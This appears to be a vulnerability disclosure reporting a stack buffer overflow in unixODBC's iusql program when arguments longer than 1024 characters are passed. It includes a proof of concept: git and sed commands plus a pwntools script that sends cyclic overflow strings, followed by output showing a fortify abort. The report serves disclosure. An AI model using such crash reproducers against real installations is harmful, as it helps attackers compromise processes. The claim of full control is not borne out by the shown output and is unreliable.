Description

if arguments longer than 1024 were passed to program iusql, we get a classic stack overflow.

Proof of Concept

I removed the docking check to reduce POC, this check did not show overflow protection

git clone https://github.com/lurcher/unixODBC.git 123
sed -i 's/^.*if ( .*phEnv, phDbc ) != SQL_SUCCESS/if(0/g' 123/exe/iusql.c

import os
os.environ['PWNLIB_NOTERM'] = '1'
os.environ['JUPYTER_DETECTED'] ='yes'
from pwn import *

a = ['A']*4
a[0] = '123/exe/iusql'
a[1] = cyclic(1024)
a[2] = cyclic(1024)
a[3] = cyclic(1024)

ex = process(argv=a)
ex.interactive()

[x] Starting local process '123/exe/iusql'
[+] Starting local process '123/exe/iusql': pid 25548
[*] Switching to interactive mode
*** buffer overflow detected ***: /content/123/exe/.libs/iusql terminated

Impact

when overflowing, control is seized, and the establishment of full control over the process